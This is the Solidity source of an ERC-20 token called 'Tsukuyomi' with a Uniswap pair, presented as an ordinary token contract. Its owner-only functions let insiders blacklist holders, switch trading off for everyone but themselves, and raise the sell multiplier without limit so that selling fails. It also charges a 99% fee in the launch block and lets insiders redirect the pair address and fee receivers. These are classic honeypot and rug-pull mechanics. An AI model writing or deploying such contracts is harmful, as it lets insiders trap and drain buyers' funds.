//SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping(address => bool) internal _intAddr;

    constructor(address _owner) {
        owner = _owner;
        _intAddr[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED");
        _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        _intAddr[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */

    function unauthorize(address adr) public onlyOwner {
        _intAddr[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) internal view returns (bool) {
        return _intAddr[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        _intAddr[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Tsukuyomi is IERC20, Auth {
    using SafeMath for uint256;

    //address WETH = 0xB4FBF271143F4FBf7B91A5ded31805e42b2208d6; // Goerli
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH MAINNET
    address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    string constant _name = "Tsukuyomi";
    string constant _symbol = "Tsukuyomi";
    uint8 constant _decimals = 18;

    uint256 _totalSupply = 1000000000 * (10**_decimals);
    uint256 public _maxTxAmount = _totalSupply;
    uint256 public _maxWalletSize = _totalSupply;

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) _allowances;

    mapping(address => bool) isFeeExempt;
    mapping(address => bool) isTxLimitExempt;
    mapping(address => bool) isTimelockExempt;
    mapping(address => bool) public isBlacklisted;

    uint256 liquidityFee = 0;
    uint256 buybackFee = 0;
    uint256 devFee = 0;
    uint256 totalFee = 0;
    uint256 feeDenominator = 100;
    uint256 public _sellMultiplier = 1;

    address public devFeeReceiver = msg.sender;
    address public buybackFeeReceiver = msg.sender;
    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;

    bool public tradingOpen = true;
    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply;
    bool inSwap;
    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    bool public opCooldownEnabled = true;
    uint8 public cooldownTimerInterval = 15;
    mapping(address => uint256) private cooldownTimer;

    constructor() Auth(msg.sender) {
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        address _owner = owner;
        isFeeExempt[msg.sender] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[address(this)] = true;
        isTxLimitExempt[routerAddress] = true;

        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;

        _balances[_owner] = _totalSupply;
        emit Transfer(address(0), _owner, _totalSupply);
    }

    receive() external payable {}

    function setPairAddress(address _pair) public authorized {
        pair = _pair;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender)
        external
        view
        override
        returns (uint256)
    {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount)
        external
        override
        returns (bool)
    {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender]
                .sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }

        if (!_intAddr[sender] && !_intAddr[recipient]) {
            require(tradingOpen, "Trading not open yet");
        }
        checkTxLimit(sender, amount);
        require(
            !isBlacklisted[recipient] && !isBlacklisted[sender],
            "Address is blacklisted"
        );
        if (recipient != pair && recipient != DEAD) {
            require(
                isTxLimitExempt[recipient] ||
                    _balances[recipient] + amount <= _maxWalletSize,
                "Transfer amount exceeds the bag size."
            );
        }
        if (
            sender == pair && opCooldownEnabled && !isTimelockExempt[recipient]
        ) {
            require(
                cooldownTimer[recipient] < block.timestamp,
                "Please wait for 1min between two operations"
            );
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }
        if (shouldSwapBack()) {
            swapBack();
        }

        if (!launched() && recipient == pair) {
            require(_balances[sender] > 0);
            launch();
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );

        uint256 amountReceived = shouldTakeFee(sender)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(
            amount <= _maxTxAmount || isTxLimitExempt[sender],
            "TX Limit Exceeded"
        );
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function getTotalFee(bool selling) public view returns (uint256) {
        if (launchedAt + 1 >= block.number) {
            return feeDenominator.sub(1);
        }
        if (selling) {
            return totalFee.mul(_sellMultiplier);
        }
        return totalFee;
    }

    function takeFee(
        address sender,
        address receiver,
        uint256 amount
    ) internal returns (uint256) {
        uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(
            feeDenominator
        );

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function tradingStatus(bool _status) public authorized {
        tradingOpen = _status;
        if (tradingOpen) {
            launchedAt = block.number;
        }
    }

    function shouldSwapBack() internal view returns (bool) {
        return
            msg.sender != pair &&
            !inSwap &&
            swapEnabled &&
            _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = balanceOf(address(this));
        uint256 amountToLiquify = contractTokenBalance
            .mul(liquidityFee)
            .div(totalFee)
            .div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH
            .mul(liquidityFee)
            .div(totalETHFee)
            .div(2);
        uint256 amountETHbuyback = amountETH.mul(buybackFee).div(totalETHFee);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);

        (
            bool DevSuccess, /* bytes memory data */

        ) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        require(DevSuccess, "receiver rejected ETH transfer");
        (
            bool BuyBackSuccess, /* bytes memory data */

        ) = payable(buybackFeeReceiver).call{
                value: amountETHbuyback,
                gas: 30000
            }("");
        require(BuyBackSuccess, "receiver rejected ETH transfer");

        if (amountToLiquify > 0) {
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                devFeeReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = WETH;
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amount
        }(0, path, to, block.timestamp);
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }

    function setMaxWallet(uint256 amount) external onlyOwner {
        require(amount >= _totalSupply / 1000);
        _maxWalletSize = amount;
    }

    function setFees(
        uint256 _liquidityFee,
        uint256 _devFee,
        uint256 _buybackFee,
        uint256 _feeDenominator
    ) external authorized {
        liquidityFee = _liquidityFee;
        devFee = _devFee;
        buybackFee = _buybackFee;
        totalFee = _liquidityFee.add(_devFee).add(_buybackFee);
        feeDenominator = _feeDenominator;
        require(totalFee < feeDenominator);
    }

    function cooldownEnabled(bool _status, uint8 _interval) public authorized {
        opCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }

    function setIsFeeExempt(address holder, bool exempt) external authorized {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt)
        external
        authorized
    {
        isTxLimitExempt[holder] = exempt;
    }

    function setSellMultiplier(uint256 multiplier) external authorized {
        _sellMultiplier = multiplier;
    }

    function setFeeReceiver(
        address _devFeeReceiver,
        address _buybackFeeReceiver
    ) external authorized {
        devFeeReceiver = _devFeeReceiver;
        buybackFeeReceiver = _buybackFeeReceiver;
    }

    function setTxLimit(uint256 amountBuy) external authorized {
        _maxTxAmount = amountBuy;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount)
        external
        authorized
    {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function blacklistAddress(address _address, bool _value) public authorized {
        isBlacklisted[_address] = _value;
    }

    function manualSend() external authorized {
        uint256 contractETHBalance = address(this).balance;
        payable(devFeeReceiver).transfer(contractETHBalance);
    }

    function transferForeignToken(address _token, uint256 _amount)
        public
        authorized
    {
        IERC20(_token).transfer(devFeeReceiver, _amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy)
        public
        view
        returns (uint256)
    {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy)
        public
        view
        returns (bool)
    {
        return getLiquidityBacking(accuracy) > target;
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}